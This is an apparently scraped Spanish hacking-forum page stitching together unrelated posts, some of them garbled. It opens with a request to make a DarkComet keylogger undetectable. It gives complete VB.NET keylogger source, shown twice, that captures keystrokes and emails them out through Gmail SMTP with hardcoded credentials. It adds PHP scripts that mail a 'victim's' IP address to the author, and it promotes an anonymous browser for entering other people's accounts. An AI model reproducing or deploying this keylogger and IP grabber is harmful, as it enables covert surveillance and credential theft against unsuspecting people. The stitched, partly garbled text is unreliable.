Bueno una pregunta que seguro la habrán hecho millones de veces pero no siempre estará aztualizada me gustaría saber como cifro un keylogger para que sea indetectable? que programas uso es un troyano de DarkComet
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes MenúCitarImports System.Web
Imports System.IO
Imports System.Net.Mail
Public Class Form1
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
TextBox1.Text = TextBox1.Text + Chr(i)
End If
Next i
End Sub
Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
Dim mail As New MailMessage()
Dim SmtpServer As New SmtpClient
SmtpServer.Credentials = New Net.NetworkCredential("universalprjct@gm ail.com", "furryman")
SmtpServer.Port = 587
SmtpServer.Host = "smtp.gmail.com"
SmtpServer.EnableSsl = True
SmtpServer.EnableSsl = True
mail.To.Add("PON AKI TU CUENTA DE GMAIL")
mail.From = New MailAddress("username@gmail.com")
mail.Subject = "Universal Keylogger"
mail.Body = TextBox1.Text
SmtpServer.Send(mail)
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
End
End Sub
End Class
CitarQE ES ¡Û
¡NO ME SALE
NADA
QUITAMELO
½¾½Û
¡ ¡MIF GUE
JO ODAS
YA ME E METES TROYANOS¾¾
ENCIMA DE K TE SUBO ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡
KITAMELO
½¾½Û
½
MIGUE ¡Û
KITAMELO TIO
DIO ¢ ¢ ¢ ¢ SCUCHO
¢ ¢ ¤ ¤ ¤.CO ¢ EN PROCESOS NO
¡Û
COMO
SE LLAMA
¡Û
NO ME SALE
FORM JODER TIO
K NO ¢
PERO
MIRA
NO HAY NADA DE ESO
A K LE DOI
¡0Û
YA LE DI
NO SALE NADA
NO SALE TIO
NADA
K ASKO
NL
K *****
Imports System.Web
Imports System.IO
Imports System.Net.Mail
Public Class Form1
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
TextBox1.Text = TextBox1.Text + Chr(i)
End If
Next i
End Sub
Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
Dim mail As New MailMessage()
Dim SmtpServer As New SmtpClient
SmtpServer.Credentials = New Net.NetworkCredential("universalprjct@gm ail.com", "furryman")
SmtpServer.Port = 587
SmtpServer.Host = "smtp.gmail.com"
SmtpServer.EnableSsl = True
SmtpServer.EnableSsl = True
mail.To.Add("PON AKI TU CUENTA DE GMAIL")
mail.From = New MailAddress("username@gmail.com")
mail.Subject = "Universal Keylogger"
mail.Body = TextBox1.Text
SmtpServer.Send(mail)
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
End
End Sub
End Class
TeCo
Admin
Mensajes: 33
Fecha de inscripción: 08/12/2010
<?php
function getIP() {
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
elseif (isset($_SERVER['HTTP_VIA'])) {
$ip = $_SERVER['HTTP_VIA'];
}
elseif (isset($_SERVER['REMOTE_ADDR'])) {
$ip = $_SERVER['REMOTE_ADDR'];
}
else {
$ip = "unknown";
}
$nuestrocorreo = "tucorreo@servidor.com";
$asunto = "LA IP DE TU VICTIMA";
$comentario = "aca esta la IP de la persona que le pasaste la pagina";
mail ($nuestrocorreo, $asunto, $comentario, $ip);
}
?>
<?php
echo 'MI pagina web, ';
echo ' te gusta?';
include("ip.php"; getIP();
?> //the script is powered by codex, a developer since 2001
o este
<?
$ip=$REMOTE_ADDR;
$hr=
mail("aqui_tu_correo@etc.com","Ip","$ip";
?>
Dim host As IPHostEntry = Dns.GetHostByName(TextBox1.Text)
Dim ip As IPAddress() = host.AddressList
TextBox2.Text = ip(0).ToString()
Imports system.Net
Dim num As Integer
Dim a As Integer = 1
//clic en un boton
num = TextBox1.Text
a = a + 1
MsgBox(num * a)
//textbox1_textchanged // esto quiere decir que cuando ingreses otro numero la variable se . vuelva 1
a = 1
@echo off
Title "Anti ddos" Danubius
color 2
echo Este no es un Anti ddos de verdad, es para ver la ip atacante y bloquearle la ip (xampp)
pause
echo Ahora van a aparecer las conexiones de hamachi (si tienes) y de ddos
netstat
echo Las ips que se repiten al puerto 80 son las ips del ddos(generalmente).
pause
cd C:\xampp\htdocs
start .htcacces.htaccess
echo Abra el archivo en un bloc de notas y pulse enter
pause
echo Una vez abierto, escriba:
echo order allow,deny
echo deny from ip
echo allow from all
pause
echo Sustituya "ip" por la ip atacante, eso es todo.
pause
echo Gracias por usar este "programa" programado en batch
pause
exit
Algunas de Las ventajas de xB Browser son:
-Navega totalmente anonimo
-Mejora muchisimo la seguridad
-Cambia automaticamente la IP o con un simple click
-No deja rastros en la pc donde se utilizo
-Es Open source
-Es portable
-No requiere configuración ni instalación
Obiamente el navegador tiene sus desventajas:
-Es muuchooo mas lento que el firefox normal
-No permite entrar en algunas webs
-No permite ejecutar firefox al mismo tiempo
En fin.. un programa muy util para tener en la pc y en el pendrive siempre, puede ser utilizado para miles de actividades, por ejemplo para ingresar a una cuenta de correo de otra persona o cualquier tipo de cuenta que no sea nuestra (sera casi imposible que nos descubran), para descargar de webs como rapidshare o megaupload. Para testear cuentas de ciertas webs, antes de ingresar desde su correspondiente pais y realizar "acciones" (solo para entendidos $ jaja), para ingresar en alguna web bloqueada en cierta pc o red de trabajo, para ingresar en webs en una red wi fi no segura, y un largo etc.
Tambien hay que tener en cuenta que es portable, se lo puede guardar en un pendrive o mp3 y llevarlo a un ciber cafe o al trabajo y navegar seguros y anonimos.
Para usar el programa se bajan el instalador y lo instalan, deben seleccionan la red TOR, despues lo pueden mover directamente a su pendrive, para usarlo desde otra pc.